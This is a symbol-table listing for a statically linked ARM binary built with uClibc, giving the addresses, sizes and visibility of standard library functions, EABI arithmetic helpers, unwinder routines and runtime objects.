__GI_brk	.symtab	0x1c7c8	88	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x1184c	56	FUNC	<unknown>	HIDDEN	2
__GI_chmod	.symtab	0x11884	64	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x18cd0	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x11de0	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x1a8fc	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1a930	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1a5d4	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x15a00	116	FUNC	<unknown>	HIDDEN	2
__GI_dirfd	.symtab	0x11ef0	52	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x19ed8	64	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x17d5c	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x1234c	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x11758	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x146b0	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1b794	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1b8d8	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x1409c	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x14a5c	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x1267c	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x185e0	972	FUNC	<unknown>	HIDDEN	2
__GI_fprintf	.symtab	0x1275c	48	FUNC	<unknown>	HIDDEN	2
__GI_fputs	.symtab	0x141b8	284	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x14afc	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x1c9ac	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x1c9d0	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x19f18	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite	.symtab	0x142d4	300	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x14b34	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1b8d8	300	FUNC	<unknown>	HIDDEN	2
__GI_getcwd	.symtab	0x118c4	256	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x1a01c	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x1a048	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x1a05c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x1a070	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x119c4	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x18a44	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x1a084	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x15a74	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x1a0bc	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x1a0fc	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x15950	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1c300	248	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntoa	.symtab	0x15934	28	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntoa_r	.symtab	0x158a8	140	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x1560c	668	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x15294	552	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x17964	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x11a00	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x15124	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x11ae0	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x15b00	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x1a110	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1ce00	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1bea0	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x14bf0	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x14c00	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1bf90	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1bfb4	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x14c10	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x19cd0	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x1a150	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x1a194	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1a214	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x18d60	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x11ff4	196	FUNC	<unknown>	HIDDEN	2
__GI_perror	.symtab	0x1269c	116	FUNC	<unknown>	HIDDEN	2
__GI_printf	.symtab	0x12710	76	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x18a8c	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x1753c	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x177fc	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x18e80	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x12168	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x1a4e8	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x11b5c	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x15b84	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x15c3c	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1a274	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x11be0	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x15d08	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x15dc4	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x11c64	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x15e4c	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x17a5c	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x19d78	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x15ed8	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x15f28	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x15f3c	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x11ca4	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x18b7c	300	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x1278c	48	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x15e94	68	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x127bc	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x1788c	216	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x150b8	108	FUNC	<unknown>	HIDDEN	2
__GI_strcat	.symtab	0x14d30	40	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1c094	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1c184	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x14cb0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x14cb0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x14d58	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1c270	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x14cd0	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x14d7c	204	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x14e48	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1c2b4	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x14e98	252	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x17b68	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x17f6c	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x15148	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x11d70	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x1a2e0	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x11da0	64	FUNC	<unknown>	HIDDEN	2
__GI_vfprintf	.symtab	0x12f34	324	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x127f0	208	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x1c82c	56	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x1a2f4	124	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x1a978	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1a9f0	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x1a9cc	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x18df0	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2a00c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2a00c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1e754	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1e6e8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1e70c	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1e730	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1cfc0	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x1d91c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x1d91c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x1d900	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1d9ac	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1cfc0	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x1d934	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x1d97c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x1d994	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x1d964	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x1d94c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1d660	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1d3d0	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1cfb4	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1cfbc	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1d31c	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1d2f4	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1ce70	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1cf9c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1d370	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x19e20	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1d2d0	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x11598	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x11694	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1d35c	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1e6b4	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1e6ac	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1e6a4	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2c9ac	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x2a390	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x2d340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x2a3bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x2a3bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x19114	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x18cd0	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x18cb4	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x1d87c	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x2a1c4	4	OBJECT	<unknown>	DEFAULT	13
__ctype_tolower	.symtab	0x2a3b8	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2cf20	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x2a0c0	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x19e18	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x19e0c	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x116ac	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1d660	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1ce70	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x2a008	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x2d340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x2c9a4	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x1d87c	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x122f8	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x21e88	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x21d68	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x2c454	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1d31c	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x116c0	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1b8d8	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2a00c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x2a008	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1d9ac	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1d370	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1d2f4	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1d35c	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1d2d0	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x185e0	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x2d30c	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x2d310	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x2c458	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x2a004	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x1d86c	148	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x19f7c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1c864	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x119c4	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x18a44	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x14f94	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1de58	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1df40	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1e6d8	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1ded4	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1dff8	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1e6e0	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1e7bc	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1eed0	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1e15c	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x1d86c	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x2a008	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x1d874	140	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x18cd0	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x15a00	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x18ef0	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x18f78	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x11758	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x185e0	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x2d314	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1a214	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x18d60	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x18e80	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x15b84	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x15c3c	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x11be0	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x15d08	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x15dc4	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1c4fc	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x19d78	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x2c9a0	4	OBJECT	<unknown>	DEFAULT	14
__libc_system	.symtab	0x19c4c	132	FUNC	<unknown>	DEFAULT	2
__libc_waitpid	.symtab	0x1a2f4	124	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x18df0	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x189ac	152	FUNC	<unknown>	HIDDEN	2
__ltdf2	.symtab	0x1d874	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x16fcc	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x1606c	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x2a2b4	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x2cf94	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x16f1c	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1d3d0	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x1d87c	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x18d60	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x18d44	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x2c9a8	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2a004	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x2a3ac	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x2a3b0	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1c72c	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1905c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x19054	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x19054	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x19054	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x19054	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x18e80	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x18e64	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1e6bc	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x2c9b0	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x16024	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x16048	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x16000	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1cdc0	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1c820	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x2a1d8	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1cb90	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1aaac	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x1cbe8	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x1ab88	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1ccb0	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x1cd84	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1cce0	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1acc8	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x12f04	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x2a1dc	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1cfbc	788	FUNC	<unknown>	HIDDEN	2
__sys_connect	.symtab	0x159bc	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x15b40	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x15bf4	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x15cc4	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x15d78	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x19d4c	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1a1d4	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x19e30	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x11b9c	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1c4d8	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x19098	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x19168	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x191c0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x2a3a8	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x11598	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x18df0	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x18dd4	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x14fac	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x1a43c	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x1a370	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x2c434	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x2d340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x13078	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x2cf3c	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x2cf64	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x2a2b0	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1c738	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1c770	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x2d338	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x2d33c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x2d32c	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x2d328	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x2d330	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x2d320	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1c470	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x2d31c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x2d334	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x2d324	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x2d318	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x2a3bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x2d340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x19e70	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1ef4c	0	FUNC	<unknown>	DEFAULT	3
